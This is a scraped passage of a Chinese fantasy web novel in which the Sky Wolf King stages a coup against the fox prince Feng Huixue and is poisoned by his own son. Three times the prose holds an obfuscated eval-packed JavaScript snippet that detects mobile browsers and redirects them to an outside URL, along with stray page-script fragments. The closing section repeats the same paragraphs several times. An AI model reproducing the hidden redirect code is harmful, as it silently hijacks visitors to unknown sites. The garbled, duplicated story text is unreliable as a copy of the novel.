平日到处打滚玩闹的小崽子乖乖窝在巢穴中低低的呜咽。 走兽族水族翼族三大族势力汇聚妖都。 月枢殿风回雪袍服若霜华慵懒斜倚美目逶迤似水未语先含笑三分魅惑亦轻挑。 微屈的指骨每一寸线条都流畅的惊心动魄指尖优雅的捡起一颗葡萄漫不经心随手一丢。 玄龟翻给他一个白眼嫌弃的扭过头眼巴巴去盯摘下一颗葡萄喂给林玉锦的江行行。 风回雪:“……” 天狼王瞪着眼睛将这一幕尽收眼底气的原地直跳脚。 “风回雪!” “直视我!” 死狐狸崽子跟他死爹一个死出现在就连他便宜儿子也是这么一副死出。 到底知不知道他现在是在逼宫!逼宫啊! 有没有一个看看他!看看他! 一盘烂葡萄就那么好吃吗! 后者一条长腿随意的搭在另一条腿上手肘抵着凭几姿态松垮注意力涣散任其流淌出慵懒的弧度。 仿佛面前一众逼他让位的妖和被摁在地上的白羽等心腹不存在似的。 好半晌眼睫极慢的掀了一下没掀完像是连这点微末的力气都吝于付出蔫蔫地又垂落下去。 美的颓唐也令人窒息。 慢条斯理的剥去葡萄皮宛如剥去美人新衣只发出一句极轻的被倦懒吞没的轻哼。 “看过了怎么了。” 蹦的老高了。 别说这老狼是有点实力在身上的在他眼皮子底下竟神不知鬼不觉的软禁了大司命和妖帝控制住他这么多心腹。 瞅把白羽打的羽毛都秃了几块。 啧啧……实惨。 话说晚晚这会儿应该到了吧? 她要是发现那个传送大阵失去了作用会不会气的想扒了他一身狐狸皮? 想到很有这种可能风回雪忍不住打了个冷颤默默将葡萄肉放回盘中。 林玉锦突然带行行杀了个回马枪是他始料未及的。 江行行小大人似的,乖乖跪在了他脚边,认真跟他说“爹不要怪小师伯,孩儿要留下,陪爹爹一起。 风回雪久久无言,许久,牵起他的小手,一步一步穿过众妖,走到月枢殿。 但他并不打算命妖侍去接应江献晚。 天狼王是蠢,怕就怕蠢人灵机一动,为了帝位,不择手段。 他不敢赌,赌那一丝会输的可能性。 他做了最坏的打算,倘若发生无法掌控的变故,他就是拼了命,也会将林玉锦和江行行毫发无损的送出妖域,送到江献晚身边。 风回雪强忍着心虚,和心头那点涩然,飘忽的视线重新回到白羽身上。 瞅这一地的**,都能塞出个枕头了吧…… 被五花大绑的白羽疼的冷汗直冒,与风回雪同情的目光不期而遇,登时无语的翻了个白眼。 你特么能不能认真点! 我小命都快没了,你搁这同情我翅膀有用吗?! 要不要先看看他后面站的大尾巴狼! “怎么了?天狼天嗤声冷笑,一脚踹翻翅膀沾着斑驳血迹的白羽,微抬着高傲的头颅,踱到风回雪跟前。 白羽:“…… 有病吧? 你跟他生气,踹我做什么,有种踹他去啊! 真服了! 他招谁惹谁了! 干脆闭眼,不看。 天狼王站定,睥睨一切,负手而立。 “堂堂妖域殿下,认一个人族两脚兽做亲儿子,风回雪,我们不服。 自个生不出儿子,捡个两脚兽回来,简直笑死个狼。 这妖帝,干脆他来当算了! 风回雪一手托着腮,闻声,眉尖便兴致缺缺,轻挑了一下。 散漫的视线滑向他与水族龟王,修长如竹的指节一下没一下敲击在桌面,精神不佳,打了个哈欠。 调子不成章法,带着漫不经心的慵懒音律,却自有一股不容置喙的居高临下。 “不服? “哦,那你忍着。 就他这点指甲盖大小的智商,这个妖帝给他,他当的明白吗? “你! 天狼王脸憋的涨红,面部肌 肉微微抽搐了一下,那双灰青色的眼珠子更是瞪的透绿。 站在一旁的龟王,见他快要把自个先气背过去了,连忙虚扶了他一把,意在提醒。 探究的视线,不由落在身着剑尊亲传弟子服的林玉锦身上。 “林小道友,我妖域有大事相商,不若小友先同妖侍去休息片刻。” 南境的人不是跟狼太灰关系很好吗,江献晚为了救狼太灰他们,至今下落生死不明,林玉锦怎么忽然和风回雪搞一起去了? 难不成是因自家的小师妹仍无音讯,所以记恨上了狼太灰,临阵倒戈风回雪,想要横插一脚,参与到他们妖域争权一事中? 否则,风回雪为何一副极其信任的模样,竟允许他抱着风行行。 妖域谁不知道,他看风行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林玉锦心疼的不知如何是好,举着袖子,不停的去擦他脸颊上流不尽似的泪珠子,眉一横,“他们瞎说!都是骗人的!” “娘亲没事,她很快就回来了。” “行行,不哭好不好,小师伯向你保证,娘亲很安全的。” “风回雪不是也跟你说了娘亲没事,你要相信你爹,也相信小师伯好不好?” “真的吗?” “可是娘亲为何不接行行的传讯……” 风行行仍抽噎不停的哭声,断断续续钻进耳尖。 他失魂落魄的蹲在草丛里,脑袋一下就空了。 风行行为何喊林玉锦小师伯? 第 228 章 爹,您先喝口茶 娘亲…… 他口中的娘亲…… 狼太灰胡乱抹了一把不知何时流出来的泪慌乱而仔细的去瞧月色下小娃娃的眉眼。 四肢一软跌坐在地上。 自从风回雪毫不掩饰的承认他是江献晚的那一刻心中的疑虑在此刻得到了证实。 风行行……是江献晚的儿子! 可他口口声声在她面前说风回雪和风行行有多讨厌。 要弄死这对父子还要夺取帝位她为何不趁机在沙漠中杀了他反而泼出性命救他? 还是她和风回雪密谋了什么故意耍的他团团转这样比较有趣。 狼太灰猛然抱住快要裂开的脑袋泪遏制不住一滴一滴滚落下来众多复杂而不知其味的情绪在胸腔翻涌激的浑身止不住颤抖。 他忽然想到那日江献晚停下脚步认真盯着他的眼睛轻声问: 那你知道什么才是朋友吗? 再后来笑着说那我们就是朋友。 对啊……他们是朋友啊。 她明明可以在他们陷入幻鸟妖兽的幻境时将他们这些和风回雪作对的全部杀死。 也可以在龙卷风来临的那一刻选择丢下他们独生。 事后都可以摘的干干净净。 狼太灰眼底充斥着厚重的雾气怔忪的目光落在还在抽泣的小娃娃脸上。 江献晚为了救他被失去神智的豹冲掏碎了肩胛。 在遇到龙卷风时毫不犹豫掏出所有刻着高级阵法的锅不肯放他出来。 她那时候有没有想过自己可能会死有没有想过风行行和风回雪眼巴巴的等她团圆。 可他现在却在怀疑她。 他甚至不知道林玉锦说的是不是真的还是只是怕风行行哭才安慰他说江献晚很安全。 突然想吃肉包子了。 狼太灰倏然抬眸看向天狼王 他胸膛深长一息无声吐出一口浊气攥的青筋暴起的手指缓缓打开放松的指缝泄出几缕光来。 天狼王手中的长刀正压在白羽的脖颈锋利的刀刃割出一道刺目血痕。 冷冷一笑含着窒息的压迫。 “你若识相赶紧将权杖交出否则妖帝一势也会因你一己之私血流成河。” “风回雪你最好想清楚了。” 风回雪意兴阑珊抬起了睫毛目光落在白羽侧颈 “血流成河啊。” “听起来有点残忍。” “不过没见过想看看。” 天狼王:“……?”有病吧他! 他也不怕先把自个看**! 这副半死不活的态度将天狼天气的脸都绿了。 他最看不惯风回雪吊儿郎当的模样委实不配为妖域之帝。 见他仍没个正形耐心尽失沉声威胁。 “给你三秒否则我现在便让你父子两个命丧此地!” “一。” “二。 “父子?”风回雪坐端正了两分狐狸眸轻挑有些诧异的打断“你说的父子是指我老子跟我?” 天狼王嘴角一抽维持的凶煞表情一瞬崩塌恨不得一刀敲死他。 怒气冲冲喷他脸上。 “蠢货!我说的是这个来历不明的两脚兽崽子!” 风洺霁已经被他软禁都说了此地此地这只死狐狸是他妈听不懂狼话吗! 就他这样式儿还想做妖帝? 他想屁吃呢! 做梦吧! 正努力伸着脖儿去咬江行行手中葡萄的玄龟停顿片刻而后飞快叼走。 谁知没叼好葡萄滚到风回雪脚边被后者一脚踢走。 江行行一骨碌从林玉锦膝头滑下来跑到另一张桌子旁又端了一盘葡萄。 玄龟跟在他屁股后面啪嗒啪嗒的转圈跑…… 天狼王:“……” 望着这悠哉悠哉干啥都有的一幕天狼王很是抓狂。 若不是地点和场景不对他都想抓两下脑壳! 勉强深吸一口气拼命压下踹风回雪一脚的暴躁迅速补充道:“当然你那个没用的老子本王稍后会亲自送他归西!” 斩草要除根这个道理他还是懂得。 这祖孙仨都别想活妖帝之位只能是 他的! 风回雪见他语气阴冷不似作假像是终于被吓到般歪歪扭扭的身子又端正了几分。 嘴角若有似无的笑意渐渐消失唇线微压。 视线落在统领水族的龟王身上嗓音低沉意味不明。 “龟王也是这般想的?” 龟王朝他一揖神情淡漠端的八风不动沉声道:“请殿下交出权杖!” “哦~”风回雪拖着长长的腔调浑身没骨头似的又软了下去顺手揪了颗葡萄丢进嘴里。 而后两只手无赖似的一摊。 “没有。” 若不是气氛不对林玉锦真的很想仰天狂笑三声。 风回雪轻狂的劲可真是死气狼不偿命。 瞅给狼太灰他老子气的狼耳都快抖成帕金森了。 不得不说短短相处风回雪真的是让他刮目相看发自内心接受。 他将行行养的很好看似心安理得总是很不要脸的使唤行行端茶倒水投喂捏腿。 一会儿渴了一会儿饿了一会儿自个在那满地打滚活像行行是他爹一样。 可行行但凡有任何不舒服他心里比谁都着急。 小师妹失踪的那日行行着了凉哭了半夜才勉强哄睡。 风回雪睫毛垂着不说话眼角眉梢的自责和心疼遮也遮不住。 一夜未阖眼就那么守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000208|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在床边蹑手蹑脚的掖被子不厌其烦的观察体温。 手中玉简至始至终都未搁下不停的给小师妹传讯焦躁不安的来回唤白羽过来。 还…… 隔着玉简失态的指责妖域大司命就是个神棍。 该算的不算不该算的瞎**算! 骂到最后 他也看了一整夜。 还听到了狐狸自责的哽咽声。 到了现在风回雪都在无意识的走神眼底深藏的一丝紧张哪里看不出是在想些什么。 哪怕有绝大的把握他仍不敢拿江行行和江献晚的安全开玩笑。 心中反复的谋划后路。 想到这里林玉锦咬牙切齿的瞪了一眼狼太灰。 没良心! 白瞎小师妹如此待他! 今日他跟他爹胆敢伤害风回雪和行行,他就是泼出性命,也要扒了这头白眼狼的狼皮! 感受到一道冰冷如锥的目光,狼太灰心底万般苦涩。 他根本无法阻止他爹的做法。 天狼王全然失去耐心,气的额角青筋胡乱蹦跳,转将刀尖抵上白羽心脏,嗤笑挑唆。 “白羽,你说你和大司命何苦呢,非要给这么一个不着调的浪荡子卖命。” “人家可是根本不在乎你们的生死。” 白羽不想与他多说,更不想再看风回雪眸光颇深,暗含看戏的目光,眼一闭。 “我就乐意为他死。” 他这条命是风回雪给的。 风回雪手撑着脸颊,像是感动坏了。 唇瓣一张。 “好兄弟,安心上路吧。” 那散漫的劲,哪有一点点悲伤,反倒是……挺迫不及待。 白羽翅膀一哆嗦,疼的呲牙咧嘴,要不是气氛不对,他真想扇给风回雪一耳刮子。 上路上路,我上路你咋就这么开心! 一天天的,真是够了! 天狼王等不到想要的权杖,见他一直东拉西扯,耐心耗尽,决定先弄死风回雪,再说。 没有权杖,也无甚重要,只不过有些名不言顺罢了。 但,这不是问题! 问题是,他只要能坐上去就行了! 即将登上帝位的激动压下心中的暴躁,手抬起,就要命妖杀了白羽他们,给风回雪先来个下马威。 只是,他手刚抬在半空,手势还没打出来,便被塞了一个硬东西。 天狼王愣了一下,头一低,眉心疯狂抽动,无语的瞧着手中的一杯茶。 他儿子睁着无辜而孝顺的大眼睛,“爹,您先喝口茶。” 天狼王:“……” 众妖:“……” 不是,这么激动妖心,改朝换代的时刻,现在是喝茶的时候吗? 第 229 章 白眼狼 风回雪瞳孔微微一闪,眼底极细微的收缩,正待轻扣在桌案的指节凝滞了一息,旋即恢复正常。 天狼王正是热血沸腾,哪里有功夫喝茶。 架不住儿子眼巴巴的瞧着他,不忍拒绝,匆匆接过,咕咚灌了一口。 “坐一边玩去,待会我让风回雪给你洗脚。” “嗯。”狼太灰轻声道,缓缓后移,退到龟王身后。 风回雪:“……” 在场的:“……” 天狼王喝了儿子孝敬的茶,又即将迎来自己的狼生巅峰,可谓是眉飞色舞、神清气爽,嘴角胜利的笑疯狂上扬。 手掌轻抬,声若洪钟。 “送殿下!” 与此同时,所有的妖都动了。 风回雪和抱着江行行的林玉锦,纹丝不动,将充满讽刺而肃杀的一幕尽数收于眼底。 望着即将重叠在一起的两方势力,风回雪唇角勾出嘲弄的弧度,绣着华丽金线的宽大袖口中,指尖微动,悄然包裹着蓄势待发的弓弦。 “都别动!” 一声暴喝。 石破天惊。 毫无征兆。 空气刹那凝固,所有妖出手的姿势下意识来了个急刹。 目光整齐划一,朝狼太灰投去。 猝然陷入一种诡异而茫然的死寂。 这……是怎么个回事? 最懵的还是要属天狼王,和被利刃抵着后心的龟王。 林玉锦缓缓张大嘴巴,不可置信的嗓音,惊悚的走调,“我……去?” 白眼狼……竟然挟持了龟王! 没说还有这节目啊! 风回眼中划过一丝意外的讶异,倏然凝滞的指尖,一抹微不可察的妖力,悄无声息消散。 天狼王被这措手不及,如同晴天霹雳般戏剧性的一幕,劈的外焦里嫩,脑中刮起一团凌乱的风暴。 还有……满头的巨大问号。 这是个……什么情况? 他瞪着眼睛看了他儿子足足八十秒,猛地连哆嗦了三下,倒抽一口冷气,后知后觉回过神。 面部肌肉失控的颤抖扭曲,贴近太阳穴上方,一条深青近黑的经脉骤然贲张,狠狠拱 起。 “狼太灰!你在做什么! “还不快放开龟王! 他很有必要怀疑他儿子是不是开心傻了,认错了妖。 不去捅风回雪,捅什么龟王! 英俊的少年一脸刚毅,带着一种近乎灼人的、未打磨的纯粹决绝。 瞳孔深处没有闪烁,没有游移,只有一片焚尽怯懦挣扎后,余下的滚烫的澄澈和执着。 他一手死死扣着龟王的命脉,手中散发着寒芒的**抵在他妖丹位置,仿佛正以全身骨血之力,死死咬定一个不容动摇的信念! 几乎是固执般望着他爹。 “爹,这把**是您送给儿子的,您说,能搅碎他的妖丹吗? 被抵着致命处的龟王又惊又怒,差点蹦起来,怒喝:“狼小子!你在做什么! “你知不知道你捅的是谁! 他眼珠子是被屁股坐住了吗? 捅他作甚! 有病啊! 狼太灰不见半分犹豫,将利刃轻送一寸,轻易刺穿他的护体妖力。 声音淡而轻,却又满是倔强。 “没捅错。 又猛地大声道:“我捅的就是你! 龟王:“……二逼吧他? 龟王以为自己耳朵一定是聋了,或者是,还没睡醒,想掏掏耳朵,或是使劲扇给自个一巴掌,还不敢动。 天狼王剧烈的摇晃两下,险些当场表演一个**。 他咬牙飞窜到狼太灰跟前,狠脚踹出,然而,下一刻,强大的身躯,突然……软绵绵的砸在了地上。 众妖:“……! 天雷滚滚,噼里啪啦。 所有的妖无一例外,纷纷张大了嘴巴,只余五雷轰顶般的茫然。 直到现在都搞不清这一出,到底是唱的哪一出。 复杂而扭曲的小眼神,不由自主,集体朝着风回雪划了过去。 难不成……嗯? 豹冲两只眼睛瞪的快要冒出来,缓缓举起手……托住张大到脱臼的下巴。 “逆子!你疯了!敢给老子下毒! 天狼王躺在地上,胸膛剧烈起伏,眼睛都气绿了,满脸更是写满天雷滚滚的 绝望。 他是疯了吗? 还是得了狼瘟! “不孝子!” “白眼狼!” “**有病吧!” 狼太灰抿着唇,青涩的轮廓犹在,双眼划过哀伤和不知所措的混乱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000209|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他闭了闭眸子,再睁开,声音嘶哑干涩,又依旧带着坚定不移的决然。 “爹,收手吧。” 他无法阻止他爹。 可他们根本不是风回雪的对手。 他死皮赖脸追在风回雪屁股后面整整一年,一举一动,一颦一笑,认认真真剖析,只为了能准确的作出反应,想要赢得一颗芳心。 风回雪看似不着调,可那比马蜂窝都多的心眼不是假的。 他最了解风回雪不过。 瘦死的骆驼比马大,妖帝一势看似节节败退,不堪一击。 且不说本就被风回雪软禁的妖帝,神秘可窥天机的大司命又怎会如此被轻易困在一隅之地。 天狼王势力不费吹灰之力,一路高歌,攻入月枢殿。 到了现在,风回雪依旧漫不经心。 他在等什么? 等他们踏入这殿中,将所有与之作对的妖,一网打尽,连根拔除。 就算他不出手,风回雪也能漂亮的接下。 但这些不是重点。 他不想辜负‘朋友’二字,不想辜负江献晚对他的舍命相待! 这个妖帝,不要也罢! “逆子!” “孽障!” “白眼狼!” “老子怎么会生出你这么个废物!” 天狼王歪着头,粗喘着气,眼珠子死死盯着狼太灰,嘴里翻来覆去的破口大骂。 给他八个脑子,都想不到自己的亲儿子会背后反水! 暴喝一声。 “说!你是不是还喜欢这只死狐狸!” 除了这个,还能为什么! 众妖:“……”咳。 林玉锦:“……?” 风回雪:“……” 狼太灰抿了抿唇,不遗余力的一掌,劈晕龟王,抬步走向地上的男子。 “爹。” 少年伤心的眼泪在眼眶打转,他自责的伸出手,还未碰到,被一巴掌扇的面颊登时高高肿起,头歪向一旁。 “逆子!” “别叫我爹!” “我也没有你这样的儿子!” 天狼王堵在喉咙间的一口血骤然喷出,双目喷火,粗喘着瞪着狼太灰。 “你是要让老子死!” “就为了这只没用的狐狸!” “不惜让你爹死是吧!” 第 230 章 您就不是当妖帝的料 他说了多少次,等他成了妖帝,废了风回雪,就让死狐狸天天给儿子洗脚。 现在呢! 他儿子还想去给那只死狐狸洗脚? 就这点追求吗! “不是为他。”少年忽然道。 他垂落眼帘,晶莹的泪珠无声划过半张红肿的面颊,有几分狼狈。 嗓音却充满认真。 “爹,您就不是当妖帝的料。” 天狼王:“……”妈……的? 一大口气卡在喉咙间,白眼一翻。 “滚!” 天狼王像气疯了一般,眼中闪烁着狰狞的怒火,忽然一把攥上狼太灰的衣领。 “你以为我**,他今日就能活吗!” “放屁!” 狼太灰望着那双充斥着癫狂的眼睛,心中咯噔一声,一种不好的感觉油然升起。 怔怔地,不知所措。 “爹……您想做什么?” “做什么?” 天狼王用尽全力狠狠推开他,转看向始终稳坐在高位上那风情万种的年轻男人,嘴角露出狠辣的狞笑。 “风回雪,今日你若不交出权杖,让出帝位,我便让整个妖都为我陪葬!” “爹!”狼太灰噗通一声跪下,惊恐失声吼了出来。 风回雪眸光微沉,眼睑一痕微妙的压迫,冷淡与锐利悬于眉骨之下,万钧之重无声沉降。 身子缓缓坐正,轻挑再无半分。 “你想做什么。” 林玉锦蹙眉,下意识抱紧了江行行。 “做什么?”天狼王哈哈笑了几声,万幸自己还有一张底牌。 他缓缓起身,气势再次变得高高在上,弹了弹袍身不存在的灰尘,阴冷的瞧着风回雪。 “只要我启动大阵,整个妖都将会化作一片废墟。” “你觉得,你还能做的了高贵的妖帝?” 为了今天,他做了万全的准备,就是怕遇到任何有可能阻碍他登上帝位的变故。 他早命手下,神不知鬼不觉,在妖都所有的大阵中加了一道阵法,只要将主阵运转,足以摧毁整个妖都。 “你应当不会忍心看着你这杂种 儿子**吧?” “爹!你胡说什么!” “放肆!” “你找死!” 伴随着狼太灰愤怒的阻止,那向来眉目含情含笑的妖域殿下,面色凛若寒霜,眼底杀意毕现。 阔袖一挥,一记十足的妖力打在天狼王身上。 林玉锦眉眼间染上几分阴鸷的戾气,反手一沓**符,轰然甩了过去。 而那埋头苦吃葡萄的玄龟,气势一变,迈着四条风火轮似的短腿,紧跟着愤怒的狠狠一撞。 敢骂江行行! 敢让江行行死! 一股恐怖的妖力陡然爆发,随着风回雪和林玉锦的出手,猛撞向天狼王。 脚边悠悠转醒的龟王,望着玄龟甲壳上流转的金光纹路,顿时露出惊骇之色! 这种骨子里的绝对压制,根本不是他这种不纯正的血脉能比拟的。 “老,老祖!” 他话音刚落,整个身躯结结实实被一股强大的力量拍在墙壁,喷出一口分量十足的血来。 玄龟恼火,伸出一只脚拍在他脸上,将他打回原形,脆生生的骂道:“龟王八!你反了天了!” 江行行手里还捏着一颗葡萄,小嘴巴微微张大,“大,大龟说话了?” 玄龟嘴巴一闭,捯饬着腿跑到他跟前,狂摇着短尾巴,“没说话。” 后者瘪瘪嘴,“你骗人。” 玄龟:“……” 风回雪:“……” 林玉锦:“……” 大殿有些乱。 哄娃娃的玄龟,神情冷漠的风回雪和林玉锦,痛不欲生的狼太灰。 还有乌泱泱,举着法器不知道该不该先干上一架,还是再继续看一会儿的众妖。 狼太灰哭着托起吐血的天狼王,惊恐又心疼。 “您到底做了什么啊?什么叫妖都跟着陪葬!爹,您可别老糊涂啊!” 后者一脚将他踹开。 “滚!” “没用的废物!” “我没有糊涂!” 天狼王强撑着从地上爬起来,擦去嘴边的血迹,冷笑着从破碎的衣袖中掏出一枚妖晶。 “风回雪,我最后给你 一次机会,权杖,你交是不交?” 风回雪半张脸浸在光晕中,看不清神色,幽暗而浓稠的视线落定在天狼王手中的晶石。 许久,轻声冷笑,“好啊,那大家一起死,你说是吗?狼、太、灰。” 他说到最后,唇角弧度渐显,含着讥讽的嘲弄,偏头看向怔忪望着这一切,没了任何反应的少年。 天狼王知道风回雪在想什么,胜券在握,回以冷笑。 “你不用拿这个蠢东西来威胁我,今日就算整个妖都的妖都死绝了,我儿子也死不了。” 他自然有保下狼太灰的办法,就算他**,狼太灰在他特意留下的一支直系拥护下,也能登上妖帝之位! 当然,风回雪能主动让位是最好的。 “倒不如先想想你这可怜无辜的……儿子?” “哈哈哈哈!” 对比天狼王的癫狂,和阴阳怪气的讽刺,风回雪表情冷淡。 不经意地扫了一圈,天狼一族确实少了一个重要的妖王。 “我如何相信你的话?” 天狼王笑声一止。 果然,他赌对了。 风回雪最在意的就是这个人族两脚兽。 还真是有病。 他再次露出胸有成竹的笑,得意道:“行,我便让你看看!” 大难临头,垂死挣扎,痴心妄想! 今天,就是天王老子来了,都别想阻止他踏上妖帝之位! 天狼王将一缕妖力灌入妖晶,一方水幕随之浮现在大殿半空。 他看也不看身后的水幕,精神焕发的注视着风回雪,心情颇为愉悦。 准备看这个不知天高地厚的狐狸崽子,会是如何惊恐,又会如何向他低下高贵的头颅。 “想不到吧?我会将这处废弃的传送阵作为启动所有阵法的主阵。” “只要我将这妖晶捏碎,启动主阵,你,你儿子,所有妖都的妖,都会死。” 然而,让天狼王疑惑的是,风回雪并没有像他想象中,露出惊恐的神色。 而是面色古怪的盯着他身后那一帘水幕,唇角似乎还抽搐了一下。 随后是……明眼可见的幸福缱绻? 死到临头,死狐狸搁这幸福缱绻? 林玉锦和风行行同样难掩喜色,其他妖表情更是一言难尽。 而此时,那被软禁在妖帝隔壁的大司命,不慌不忙,掐指一算,便悠悠端起了茶盏。 一次机会,权杖,你交是不交?” 风回雪半张脸浸在光晕中,看不清神色,幽暗而浓稠的视线落定在天狼王手中的晶石。 许久,轻声冷笑,“好啊,那大家一起死,你说是吗?狼、太、灰。” 他说到最后,唇角弧度渐显,含着讥讽的嘲弄,偏头看向怔忪望着这一切,没了任何反应的少年。 天狼王知道风回雪在想什么,胜券在握,回以冷笑。 “你不用拿这个蠢东西来威胁我,今日就算整个妖都的妖都死绝了,我儿子也死不了。” 他自然有保下狼太灰的办法,就算他**,狼太灰在他特意留下的一支直系拥护下,也能登上妖帝之位! 当然,风回雪能主动让位是最好的。 “倒不如先想想你这可怜无辜的……儿子?” “哈哈哈哈!” 对比天狼王的癫狂,和阴阳怪气的讽刺,风回雪表情冷淡。 不经意地扫了一圈,天狼一族确实少了一个重要的妖王。 “我如何相信你的话?” 天狼王笑声一止。 果然,他赌对了。 风回雪最在意的就是这个人族两脚兽。 还真是有病。 他再次露出胸有成竹的笑,得意道:“行,我便让你看看!” 大难临头,垂死挣扎,痴心妄想! 今天,就是天王老子来了,都别想阻止他踏上妖帝之位! 天狼王将一缕妖力灌入妖晶,一方水幕随之浮现在大殿半空。 他看也不看身后的水幕,精神焕发的注视着风回雪,心情颇为愉悦。 准备看这个不知天高地厚的狐狸崽子,会是如何惊恐,又会如何向他低下高贵的头颅。 “想不到吧?我会将这处废弃的传送阵作为启动所有阵法的主阵。” “只要我将这妖晶捏碎,启动主阵,你,你儿子,所有妖都的妖,都会死。” 然而,让天狼王疑惑的是,风回雪并没有像他想象中,露出惊恐的神色。 而是面色古怪的盯着他身后那一帘水幕,唇角似乎还抽搐了一下。 随后是……明眼可见的幸福缱绻? 死到临头,死狐狸搁这幸福缱绻? 林玉锦和风行行同样难掩喜色,其他妖表情更是一言难尽。 而此时,那被软禁在妖帝隔壁的大司命,不慌不忙,掐指一算,便悠悠端起了茶盏。 一次机会,权杖,你交是不交?” 风回雪半张脸浸在光晕中,看不清神色,幽暗而浓稠的视线落定在天狼王手中的晶石。 许久,轻声冷笑,“好啊,那大家一起死,你说是吗?狼、太、灰。” 他说到最后,唇角弧度渐显,含着讥讽的嘲弄,偏头看向怔忪望着这一切,没了任何反应的少年。 天狼王知道风回雪在想什么,胜券在握,回以冷笑。 “你不用拿这个蠢东西来威胁我,今日就算整个妖都的妖都死绝了,我儿子也死不了。” 他自然有保下狼太灰的办法,就算他**,狼太灰在他特意留下的一支直系拥护下,也能登上妖帝之位! 当然,风回雪能主动让位是最好的。 “倒不如先想想你这可怜无辜的……儿子?” “哈哈哈哈!” 对比天狼王的癫狂,和阴阳怪气的讽刺,风回雪表情冷淡。 不经意地扫了一圈,天狼一族确实少了一个重要的妖王。 “我如何相信你的话?” 天狼王笑声一止。 果然,他赌对了。 风回雪最在意的就是这个人族两脚兽。 还真是有病。 他再次露出胸有成竹的笑,得意道:“行,我便让你看看!” 大难临头,垂死挣扎,痴心妄想! 今天,就是天王老子来了,都别想阻止他踏上妖帝之位! 天狼王将一缕妖力灌入妖晶,一方水幕随之浮现在大殿半空。 他看也不看身后的水幕,精神焕发的注视着风回雪,心情颇为愉悦。 准备看这个不知天高地厚的狐狸崽子,会是如何惊恐,又会如何向他低下高贵的头颅。 “想不到吧?我会将这处废弃的传送阵作为启动所有阵法的主阵。” “只要我将这妖晶捏碎,启动主阵,你,你儿子,所有妖都的妖,都会死。” 然而,让天狼王疑惑的是,风回雪并没有像他想象中,露出惊恐的神色。 而是面色古怪的盯着他身后那一帘水幕,唇角似乎还抽搐了一下。 随后是……明眼可见的幸福缱绻? 死到临头,死狐狸搁这幸福缱绻? 林玉锦和风行行同样难掩喜色,其他妖表情更是一言难尽。 而此时,那被软禁在妖帝隔壁的大司命,不慌不忙,掐指一算,便悠悠端起了茶盏。 一次机会,权杖,你交是不交?” 风回雪半张脸浸在光晕中,看不清神色,幽暗而浓稠的视线落定在天狼王手中的晶石。 许久,轻声冷笑,“好啊,那大家一起死,你说是吗?狼、太、灰。” 他说到最后,唇角弧度渐显,含着讥讽的嘲弄,偏头看向怔忪望着这一切,没了任何反应的少年。 天狼王知道风回雪在想什么,胜券在握,回以冷笑。 “你不用拿这个蠢东西来威胁我,今日就算整个妖都的妖都死绝了,我儿子也死不了。” 他自然有保下狼太灰的办法,就算他**,狼太灰在他特意留下的一支直系拥护下,也能登上妖帝之位! 当然,风回雪能主动让位是最好的。 “倒不如先想想你这可怜无辜的……儿子?” “哈哈哈哈!” 对比天狼王的癫狂,和阴阳怪气的讽刺,风回雪表情冷淡。 不经意地扫了一圈,天狼一族确实少了一个重要的妖王。 “我如何相信你的话?” 天狼王笑声一止。 果然,他赌对了。 风回雪最在意的就是这个人族两脚兽。 还真是有病。 他再次露出胸有成竹的笑,得意道:“行,我便让你看看!” 大难临头,垂死挣扎,痴心妄想! 今天,就是天王老子来了,都别想阻止他踏上妖帝之位! 天狼王将一缕妖力灌入妖晶,一方水幕随之浮现在大殿半空。 他看也不看身后的水幕,精神焕发的注视着风回雪,心情颇为愉悦。 准备看这个不知天高地厚的狐狸崽子,会是如何惊恐,又会如何向他低下高贵的头颅。 “想不到吧?我会将这处废弃的传送阵作为启动所有阵法的主阵。” “只要我将这妖晶捏碎,启动主阵,你,你儿子,所有妖都的妖,都会死。” 然而,让天狼王疑惑的是,风回雪并没有像他想象中,露出惊恐的神色。 而是面色古怪的盯着他身后那一帘水幕,唇角似乎还抽搐了一下。 随后是……明眼可见的幸福缱绻? 死到临头,死狐狸搁这幸福缱绻? 林玉锦和风行行同样难掩喜色,其他妖表情更是一言难尽。 而此时,那被软禁在妖帝隔壁的大司命,不慌不忙,掐指一算,便悠悠端起了茶盏。 一次机会,权杖,你交是不交?” 风回雪半张脸浸在光晕中,看不清神色,幽暗而浓稠的视线落定在天狼王 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今天,就是天王老子来了,都别想阻止他踏上妖帝之位! 天狼王将一缕妖力灌入妖晶,一方水幕随之浮现在大殿半空。 他看也不看身后的水幕,精神焕发的注视着风回雪,心情颇为愉悦。 准备看这个不知天高地厚的狐狸崽子,会是如何惊恐,又会如何向他低下高贵的头颅。 “想不到吧?我会将这处废弃的传送阵作为启动所有阵法的主阵。” “只要我将这妖晶捏碎,启动主阵,你,你儿子,所有妖都的妖,都会死。” 然而,让天狼王疑惑的是,风回雪并没有像他想象中,露出惊恐的神色。 而是面色古怪的盯着他身后那一帘水幕,唇角似乎还抽搐了一下。 随后是……明眼可见的幸福缱绻? 死到临头,死狐狸搁这幸福缱绻? 